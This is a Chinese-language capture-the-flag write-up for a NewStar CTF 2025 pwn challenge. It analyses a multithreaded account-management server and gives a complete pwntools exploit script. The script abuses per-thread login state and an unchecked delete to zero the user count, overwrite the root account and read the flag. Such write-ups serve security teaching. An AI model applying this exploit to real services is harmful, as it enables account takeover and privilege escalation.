小的明?题问
题目给了c源码,我们直接看源码:
main函数:
.png)
account_register函数:
.png)
account_delete函数:
.png)
find_account函数:
.png)
account_login函数:
.png)
account_manager函数:
.png)
get_flag函数:
.png)
我们先看main函数,这里先建一个监听的服务端,然后while(1)持续accept,说明这个是一个持续监听的服务,每次accept都会产生一个 client_fd,每一个 client_fd都会产生一个 fd_ptr,然后回pthread_create(fd_ptr)建一个线程,说明这里有多线程,我们要注意是否存在多线程竞态问题。
然后我们看看account_register和find_account了解account是如何注册的,注意这里我们注册的account是存在全局的users里,而且使用user_counts来计数我们现在有多少个现存的账号。
然后我们看account_manger函数,这里就额外注意一点,我们每一个子线程都会调用thread_worker,代表我们每个子线程都会都会调用一遍account_manger,我们看到每次调用account_manger都会创造一个root账号,假如我们已经开了一个线程,这时创建了一个root账号,我们再开一个线程,会再尝试创建一个root账号,但是我们创造账号是在全局users里操作的,所以第二次会创建失败,因为它find_account会发现root已经有账号了。
然后我们看account_login函数,这个是比较关键的,我们看到这里会检查账号和密码,但是这里的逻辑是把账号密码复制到current_account使用的,而在manager.c文件的开头我们能看到 __thread user current_account;说明每个线程的current_account都是独立的,那我们就可以做到同时在多个线程中登录同一个账号了。
然后我们看account_delete函数,这里我们是删除现在登录着的账号,而且这里也是操作的是全局里的users,这点很关键,而且这里有一个点,就是它虽然用了find_account,但是这里并没有检查find_account是否成功,如果失败了函数还是会继续执行,也就是user_counts还是会减少1。
然后get_flag就是一个后门函数,只要我们登录上了root账号,我们就能获得flag。
这里我们注意一下find_account,它是通过user_accounts来遍历的,假设我们通过某种方法修改user_accounts了,假设我们修改成了0,那它就会直接返回-1,再结合account_register的逻辑,account_register发现find_account返回-1就会直接通过我们的注册,我们就能注册任何账号,即使该账号已经存在,这是由于我们通过修改user_accounts欺骗了account_register同意我们的注册。
我们这里再利用登录态和detele的漏洞就行了。
思路是这样的,我们创建两个子线程,在一个线程创造一个账号,user_counts变为2(开始会自动创建一个root),这时账号被存在了全局表,由于登录是复制到current_account储存的,那我们就能同时在两个线程里同时登录这个账号(a账号),然后我们在一个线程里执行delete,这样我们就把a账号从全局users里删了,user_counts变为1,但是此时我们另一个线程里还登录着这个账号的,我们在另一个线程再执行一次删除(必须登录着才能删除),这时由于delete的漏洞(虽然find_account没找到,但是没有检查这个),我们又执行了一次user_counts,这时user_counts变为0了,那结合我们前面分析的,这时我们就能任意注册了,那我们这时再注册一个叫root的账号,这里我们由于把user_counts变为0,那我们写入的其实就是user[0]也就是原本存root账号的位置,所以实际上我们是把原来的root账号覆盖了,就能自己输入密码了,然后再用我们自己创建的root账号登录来执行get_flag函数就行了。
EXP:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = '0.0.0.0 42265'
parts = target.replace(':', ' ').split()
host = parts[-2]
port = int(parts[-1])
def _connect():
io = remote(host, port)
return io
def unlog_menu(io,idx):
io.sendlineafter(b"Please select your operation: ", str(idx).encode())
def logged_menu(io,idx):
io.sendlineafter(b"Please select your operation: ", str(idx).encode())
def register(io, username, password):
unlog_menu(io,1)
io.sendlineafter(b"Please input username: ", username.encode())
io.sendlineafter(b"Please input password: ", password.encode())
def login(io, username, password):
unlog_menu(io,2)
io.sendlineafter(b"Please input username: ", username.encode())
io.sendlineafter(b"Please input password: ", password.encode())
def delete(io, username, password):
logged_menu(io,3)
io.sendlineafter(b"Please input username: ", username.encode())
io.sendlineafter(b"Please input password: ", password.encode())
def readflag(io):
logged_menu(io,4)
io.interactive()
def main():
io1 = _connect()
io2 = _connect()
username = "aaa"
password = "ppp"
forged_password = "pwnd123"
register(io1, username, password)
login(io1, username, password)
login(io2, username, password)
delete(io1, username, password)
delete(io2, username, password)
register(io2, "root", forged_password)
login(io2, "root", forged_password)
readflag(io2)
main()
题目链接:CTF-Writeups/NewStar CTF 2025/小的明?题问 at main · Zenquiem/CTF-Writeups